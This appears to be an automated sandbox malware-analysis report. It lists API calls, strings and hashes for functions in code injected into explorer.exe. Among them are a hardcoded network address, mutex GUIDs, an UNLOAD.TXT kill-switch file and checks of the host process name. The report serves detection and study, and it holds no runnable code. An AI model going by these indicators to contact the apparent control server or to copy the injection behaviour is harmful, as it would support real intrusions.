Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: ADVAPI32.DLL$CRYPT32.DLL$DBGHELP.DLL$GDI32.DLL$GDIPLUS.DLL$KERNEL32.DLL$MSI.DLL$NTDLL.DLL$OLE32.DLL$SECUR32.DLL$SHELL32.DLL$SHLWAPI.DLL$USER32.DLL$WINHTTP.DLL$WINMM.DLL$WS2_32.DLL$WTSAPI32.DLL
API String ID: 2574300362-2969658442
Opcode ID: b00bce88697c7525284cc10c94eef30e1ae8b74fc276d152b0c34e2d56b66801
Instruction ID: 23cbf21329673fe4d30980291d1ecb8da0fafc2605024ca1979bb1053c9507d1
Opcode Fuzzy Hash: b00bce88697c7525284cc10c94eef30e1ae8b74fc276d152b0c34e2d56b66801
Instruction Fuzzy Hash: A0B2E336219BC5C5EB30CB14E4943EAB3A0F7D9B45F501916CA8EA3B69DF38C589CB41

Function 00E26370 Relevance: 75.7, APIs: 40, Strings: 3, Instructions: 439
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32 ref: 00E26426
WaitForSingleObject.KERNEL32 ref: 00E26475
WaitForSingleObject.KERNEL32 ref: 00E264B6
WaitForMultipleObjects.KERNEL32 ref: 00E267F5
WaitForSingleObject.KERNEL32 ref: 00E26B89
shutdown.WS2_32 ref: 00E26CFE
closesocket.WS2_32 ref: 00E26D14
CloseHandle.KERNEL32 ref: 00E26D51
shutdown.WS2_32 ref: 00E26D88
closesocket.WS2_32 ref: 00E26D96
LocalFree.KERNEL32 ref: 00E26DB0

Strings

8, xrefs: 00E265CB
{8E8A4502-77C1-498F-9A62-1CFFC74945A4}, xrefs: 00E265D3
185.157.162.216, xrefs: 00E2650A

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Wait$ObjectSingle$closesocketshutdown$CloseFreeHandleLocalMultipleObjects
String ID: 185.157.162.216$8${8E8A4502-77C1-498F-9A62-1CFFC74945A4}
API String ID: 3117981272-2772078998
Opcode ID: a5040a68671dcfb0dfe58ac7fac9030a3d34697973cce43685bc7efebe8f99a8
Instruction ID: 442509c728517c0f6bac57f0e9184906eb7c498e04d7fd23c46461e4a8166aac
Opcode Fuzzy Hash: a5040a68671dcfb0dfe58ac7fac9030a3d34697973cce43685bc7efebe8f99a8
Instruction Fuzzy Hash: 5B32D732218AD4C6DB719B15F8893DAB361F7D8798F605216D6C9A3B68CF7EC448CB00

Function 00E23B40 Relevance: 61.8, APIs: 41, Instructions: 306
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32 ref: 00E23B6A
WSAGetLastError.WS2_32 ref: 00E23B84
WSACreateEvent.WS2_32 ref: 00E23B8A
shutdown.WS2_32 ref: 00E24186
closesocket.WS2_32 ref: 00E24191

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CreateErrorEventLastclosesocketshutdownsocket
String ID:
API String ID: 1739004367-0
Opcode ID: 69f75d45d796d6a2e56a1c98d5b3a4757a772b6911a268e01388c250a9e22193
Instruction ID: 901d0da4fb920733cd2985bebcd5732ef63f0480be19820b665961ff15b7f2f1
Opcode Fuzzy Hash: 69f75d45d796d6a2e56a1c98d5b3a4757a772b6911a268e01388c250a9e22193
Instruction Fuzzy Hash: CFF1EB76219AD0CAD7608F25F84479AB7B0F798B94F102516EA8A97B68DF3DC584CF00

Function 00E25F4B Relevance: 54.4, APIs: 30, Strings: 1, Instructions: 156
synchronizationmemorythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E26F30: lstrcpyA.KERNEL32 ref: 00E26FB4

WaitForSingleObject.KERNEL32 ref: 00E25E9F
WaitForSingleObject.KERNEL32 ref: 00E25EC3
WaitForSingleObject.KERNEL32 ref: 00E25EDC
setsockopt.WS2_32 ref: 00E25FA9
CreateEventW.KERNEL32 ref: 00E25FC4
LocalAlloc.KERNEL32 ref: 00E25FE5
CreateThread.KERNEL32 ref: 00E26036
GetTickCount.KERNEL32 ref: 00E26057
WaitForSingleObject.KERNEL32 ref: 00E26084
WaitForSingleObject.KERNEL32 ref: 00E2609F
WaitForSingleObject.KERNEL32 ref: 00E260BA
shutdown.WS2_32 ref: 00E2617D
closesocket.WS2_32 ref: 00E26188
SetEvent.KERNEL32 ref: 00E2619C
WaitForSingleObject.KERNEL32 ref: 00E261AC
CloseHandle.KERNEL32 ref: 00E261CD
LocalFree.KERNEL32 ref: 00E261EF
CloseHandle.KERNEL32 ref: 00E261FA
shutdown.WS2_32 ref: 00E2621B
closesocket.WS2_32 ref: 00E26226
CloseHandle.KERNEL32 ref: 00E26233
ExitProcess.KERNEL32 ref: 00E2627D
WaitForSingleObject.KERNEL32 ref: 00E26293
WaitForSingleObject.KERNEL32 ref: 00E262A5
SetEvent.KERNEL32 ref: 00E262B7
WaitForSingleObject.KERNEL32 ref: 00E262C7
CloseHandle.KERNEL32 ref: 00E262DA
CloseHandle.KERNEL32 ref: 00E262F6
CloseHandle.KERNEL32 ref: 00E26311
ReleaseMutex.KERNEL32 ref: 00E2632F
CloseHandle.KERNEL32 ref: 00E2633A
CloseHandle.KERNEL32 ref: 00E2634D
CloseHandle.KERNEL32 ref: 00E26358

Strings

{8E8A4502-77C1-498F-9A62-1CFFC74945A4}, xrefs: 00E26249

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$CloseHandle$Event$CreateLocalclosesocketshutdown$AllocCountExitFreeMutexProcessReleaseThreadTicklstrcpysetsockopt
String ID: {8E8A4502-77C1-498F-9A62-1CFFC74945A4}
API String ID: 2113405211-3742775516
Opcode ID: 448dfe744ec1d3ef1730e3037207e70b8fb484f9580361bde58bd3a9b703e152
Instruction ID: f137288a88ab53c1cad3b5a3e42afbd8861ac4068f05c57e95e4b2e9b8cad908
Opcode Fuzzy Hash: 448dfe744ec1d3ef1730e3037207e70b8fb484f9580361bde58bd3a9b703e152
Instruction Fuzzy Hash: 28911231114AD0C2E714DF65F95835EB3A1F7E0794F206626D68AA3AB8CFBDC489CB40

Function 00E1D590 Relevance: 49.2, APIs: 22, Strings: 6, Instructions: 226
librarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexW.KERNEL32 ref: 00E1D5A5
LoadLibraryW.KERNEL32 ref: 00E1D5B9
LocalAlloc.KERNEL32 ref: 00E1D5D7
GetModuleFileNameW.KERNEL32 ref: 00E1D601
ExitProcess.KERNEL32 ref: 00E1D997

Part of subcall function 00E224E0: SetEvent.KERNEL32 ref: 00E224FF
Part of subcall function 00E224E0: WaitForSingleObject.KERNEL32 ref: 00E2251B
Part of subcall function 00E224E0: CloseHandle.KERNEL32 ref: 00E22532
Part of subcall function 00E224E0: SetEvent.KERNEL32 ref: 00E22549
Part of subcall function 00E224E0: WaitForSingleObject.KERNEL32 ref: 00E22565
Part of subcall function 00E224E0: CloseHandle.KERNEL32 ref: 00E2257C
Part of subcall function 00E224E0: CloseHandle.KERNEL32 ref: 00E22593
Part of subcall function 00E224E0: SetEvent.KERNEL32 ref: 00E225AA
Part of subcall function 00E224E0: WaitForSingleObject.KERNEL32 ref: 00E225C6
Part of subcall function 00E224E0: CloseHandle.KERNEL32 ref: 00E225DD
Part of subcall function 00E224E0: SetEvent.KERNEL32 ref: 00E225F4
Part of subcall function 00E224E0: WaitForSingleObject.KERNEL32 ref: 00E22610
Part of subcall function 00E224E0: CloseHandle.KERNEL32 ref: 00E22627
Part of subcall function 00E224E0: CloseHandle.KERNEL32 ref: 00E2263E

CloseHandle.KERNEL32 ref: 00E1D9B3
CloseHandle.KERNEL32 ref: 00E1D9C6
CloseHandle.KERNEL32 ref: 00E1D9F1
LocalFree.KERNEL32 ref: 00E1DA04
ExitProcess.KERNEL32 ref: 00E1DA15

Strings

{7E105FD4-6112-4FB9-A722-91E984087449}, xrefs: 00E1D64F
{8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}, xrefs: 00E1D597
{6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}, xrefs: 00E1D766, 00E1D794
KERNEL32.DLL, xrefs: 00E1D5B2
{FF4E2D7F-189B-498D-BED3-F1AA783F6E3F}, xrefs: 00E1D71A, 00E1D748
{7A93683D-6831-4ED6-AF6B-BEBF672AD8B7}, xrefs: 00E1D7B2, 00E1D7E0

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: CloseHandle$EventObjectSingleWait$ExitLocalProcess$AllocFileFreeLibraryLoadModuleMutexNameOpen
String ID: KERNEL32.DLL${6B55C48E-8FCD-482F-91CF-9C0B3FD8AC2B}${7A93683D-6831-4ED6-AF6B-BEBF672AD8B7}${7E105FD4-6112-4FB9-A722-91E984087449}${8FE2C78C-5E69-438F-A4AB-0D2F0B3439E1}${FF4E2D7F-189B-498D-BED3-F1AA783F6E3F}
API String ID: 2953619224-1144826392
Opcode ID: 93441eb68335b5b3d220e0fefe755afec2e770ad6dcdce4deff89af1890eb6f3
Instruction ID: b1d4aa33ac36569f3ecdfb4a1cdf45983bdec690cd602fc275fd2f157d3956bf
Opcode Fuzzy Hash: 93441eb68335b5b3d220e0fefe755afec2e770ad6dcdce4deff89af1890eb6f3
Instruction Fuzzy Hash: 16B15C3110CB80C6E724DB24FD483DA77A0FB94398F506916E68AB66A4DF7DC5C8CB01

Function 00E16790 Relevance: 47.5, APIs: 26, Strings: 1, Instructions: 239
memoryfilestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32 ref: 00E16810
lstrcpyW.KERNEL32 ref: 00E16831
StrStrIW.SHLWAPI ref: 00E16843
CreateFileW.KERNEL32 ref: 00E16883
GetFileSize.KERNEL32 ref: 00E168A1
LocalAlloc.KERNEL32 ref: 00E168C1
ReadFile.KERNEL32 ref: 00E168F8
CloseHandle.KERNEL32 ref: 00E16914

Strings

.DLL, xrefs: 00E16837

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: File$AllocLocal$CloseCreateHandleReadSizelstrcpy
String ID: .DLL
API String ID: 2968648924-899428287
Opcode ID: ef9ae1e3439dff997b194165b7588088cf234c411f7acbd89f642e98992375f6
Instruction ID: 6b88ba29e605e9966cddefb55dede03bb68c837bdfd07612189726e82b2a2f71
Opcode Fuzzy Hash: ef9ae1e3439dff997b194165b7588088cf234c411f7acbd89f642e98992375f6
Instruction Fuzzy Hash: 76D1D336208BC082E764DB15F89439AB7A1F3C4794F505626DADE93BA8DF3DD489CB40

Function 00E259A0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 100
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32 ref: 00E259B1
LoadLibraryW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00E255BD), ref: 00E259CF
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00E255BD), ref: 00E259E7
GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00E255BD), ref: 00E25A00
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E255BD), ref: 00E25A18

Strings

NTDLL.DLL, xrefs: 00E259C8
RtlGetVersion, xrefs: 00E259F4

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$AddressAllocLibraryLoadProc
String ID: NTDLL.DLL$RtlGetVersion
API String ID: 2539306102-196638859
Opcode ID: 36a3cc2a456c8631fadbe0c98f8f55923dc29c10ce112e1fe93d10f9b6ad3a27
Instruction ID: 16841360f78cc5d6b6e650bb3ef699943a64383cee3886e765afdf88e75e6231
Opcode Fuzzy Hash: 36a3cc2a456c8631fadbe0c98f8f55923dc29c10ce112e1fe93d10f9b6ad3a27
Instruction Fuzzy Hash: 9751F836219A84C6E724CF15F59839A77B0F7D8B88F401526DA8E97768DF3DC944CB00

Function 00E09AC0 Relevance: 28.1, APIs: 13, Strings: 3, Instructions: 77
memoryfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32 ref: 00E09AD5
SHGetKnownFolderPath.SHELL32 ref: 00E09AF7
LocalAlloc.KERNEL32 ref: 00E09B0F
CreateFileW.KERNEL32 ref: 00E09B82
CloseHandle.KERNEL32 ref: 00E09BB6
LocalFree.KERNEL32 ref: 00E09BCA
CoTaskMemFree.COMBASE ref: 00E09BD5
OpenEventW.KERNEL32 ref: 00E09BE9
SetEvent.KERNEL32 ref: 00E09C01
CloseHandle.KERNEL32 ref: 00E09C0C
CloseHandle.KERNEL32 ref: 00E09C21
LocalFree.KERNELBASE ref: 00E09C2C
CoTaskMemFree.COMBASE ref: 00E09C37

Strings

{DD700AA6-D197-4A4A-838A-B93EA96F236B}, xrefs: 00E09BDB
UNLOAD.TXT, xrefs: 00E09B26
%s\%s, xrefs: 00E09B37

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Free$CloseHandleLocal$EventTask$AllocCreateFileFolderKnownObjectOpenPathSingleWait
String ID: %s\%s$UNLOAD.TXT${DD700AA6-D197-4A4A-838A-B93EA96F236B}
API String ID: 2734627627-3124979191
Opcode ID: 10c1d22eb571fe77a4ef00b0e6d2917a271e4e91fa89b4f9c3857c0d8971b072
Instruction ID: 5b01ee213a3a04ee500f3a288b8879025aeeef80636184e026fcfc57f3ac8233
Opcode Fuzzy Hash: 10c1d22eb571fe77a4ef00b0e6d2917a271e4e91fa89b4f9c3857c0d8971b072
Instruction Fuzzy Hash: 7A411F31504AC082E7209F54F95835AB3B0F7D57B4F601B26E6AAA6AF9CF7DC485CB00

Function 00E09C50 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 57memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00E09C5E
LocalAlloc.KERNEL32 ref: 00E09C7F
LocalAlloc.KERNEL32 ref: 00E09CA0
GetModuleFileNameW.KERNEL32 ref: 00E09CC4
GetWindowsDirectoryW.KERNEL32 ref: 00E09CD8

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

lstrcmpiW.KERNEL32 ref: 00E09D07
LocalFree.KERNEL32 ref: 00E09D16
LocalFree.KERNELBASE ref: 00E09D21
LocalFree.KERNEL32 ref: 00E09D2C
LocalFree.KERNEL32 ref: 00E09D3E
LocalFree.KERNEL32 ref: 00E09D49
LocalFree.KERNEL32 ref: 00E09D54

Strings

%s\explorer.exe, xrefs: 00E09CE7

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameWindows_errno_invalid_parameter_noinfolstrcmpi
String ID: %s\explorer.exe
API String ID: 3179574994-2893622748
Opcode ID: 1bfc62fb89f389df5371351b6afc47bdc54bf83d483249f57838a729e97ffc8f
Instruction ID: 98b7edbd06f63b31ef03c0c9639dd92d0b14295bc4cf3f9418c714405503d16e
Opcode Fuzzy Hash: 1bfc62fb89f389df5371351b6afc47bdc54bf83d483249f57838a729e97ffc8f
Instruction Fuzzy Hash: C621E025214A8182E7349F11F99872A6761FBC8B95F041535FA8E677B9CF7CC68DCB00

Function 00E09D70 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 57memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00E09D7E
LocalAlloc.KERNEL32 ref: 00E09D9F
LocalAlloc.KERNEL32 ref: 00E09DC0
GetModuleFileNameW.KERNEL32 ref: 00E09DE4
GetSystemDirectoryW.KERNEL32 ref: 00E09DF8

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

lstrcmpiW.KERNEL32 ref: 00E09E27
LocalFree.KERNEL32 ref: 00E09E36
LocalFree.KERNEL32 ref: 00E09E41
LocalFree.KERNEL32 ref: 00E09E4C
LocalFree.KERNEL32 ref: 00E09E5E
LocalFree.KERNELBASE ref: 00E09E69
LocalFree.KERNEL32 ref: 00E09E74

Strings

%s\svchost.exe, xrefs: 00E09E07

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameSystem_errno_invalid_parameter_noinfolstrcmpi
String ID: %s\svchost.exe
API String ID: 3414592467-1955667316
Opcode ID: 12c6d49865847895082e34bbceefa938f95d4aec89c943a0a90385de397a9df5
Instruction ID: 914fadf0504b7118c286a5181722094d96048c3d53ecc37914ec61d4c3dcc509
Opcode Fuzzy Hash: 12c6d49865847895082e34bbceefa938f95d4aec89c943a0a90385de397a9df5
Instruction Fuzzy Hash: D721E025214A8182E7349F11F95832A67A1FBC8B94F001535FA8E677B9CF3CCA8DCB00

Function 00E09E90 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 57memorystringCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32 ref: 00E09E9E
LocalAlloc.KERNEL32 ref: 00E09EBF
LocalAlloc.KERNEL32 ref: 00E09EE0
GetModuleFileNameW.KERNEL32 ref: 00E09F04
GetSystemDirectoryW.KERNEL32 ref: 00E09F18

Part of subcall function 00E28378: _errno.LIBCMT ref: 00E283AF
Part of subcall function 00E28378: _invalid_parameter_noinfo.LIBCMT ref: 00E283BA

lstrcmpiW.KERNEL32 ref: 00E09F47
LocalFree.KERNEL32 ref: 00E09F56
LocalFree.KERNEL32 ref: 00E09F61
LocalFree.KERNEL32 ref: 00E09F6C
LocalFree.KERNELBASE ref: 00E09F7E
LocalFree.KERNEL32 ref: 00E09F89
LocalFree.KERNEL32 ref: 00E09F94

Strings

%s\cmd.exe, xrefs: 00E09F27

Memory Dump Source

Source File: 00000010.00000002.2933884391.0000000000E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 00E00000, based on PE: true

Associated: 00000010.00000002.2933855119.0000000000E00000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933920370.0000000000E38000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E44000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E5E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E61000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2933939123.0000000000E68000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000010.00000002.2934079006.0000000000E6C000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_e00000_explorer.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$DirectoryFileModuleNameSystem_errno_invalid_parameter_noinfolstrcmpi
String ID: %s\cmd.exe
API String ID: 3414592467-923833829
Opcode ID: 5af63fee73b885e983a171c554cd543ac2bb57c3c5edb473cb41feac39bf807e
Instruction ID: f854b7c7659556737845e7664cc960dd496bff86bfd05fc766787175783583c9
Opcode Fuzzy Hash: 5af63fee73b885e983a171c554cd543ac2bb57c3c5edb473cb41feac39bf807e
Instruction Fuzzy Hash: BD21CD25214A8182E7349F11F95872A6761FBC8B95F041535FA8EA7AB9CF7CC68DCB00

Function 00E251B0 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 255stringnetworkCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00E251ED

Part of subcall function 00E257B0: CoInitializeEx.COMBASE ref: 00E257DA
Part of subcall function 00E257B0: CoCreateGuid.COMBASE ref: 00E257ED
Part of subcall function 00E257B0: StringFromGUID2.COMBASE ref: 00E2580B
Part of subcall function 00E257B0: wsprintfA.USER32 ref: 00E2582D
Part of subcall function 00E257B0: LocalAlloc.KERNEL32 ref: 00E2583D
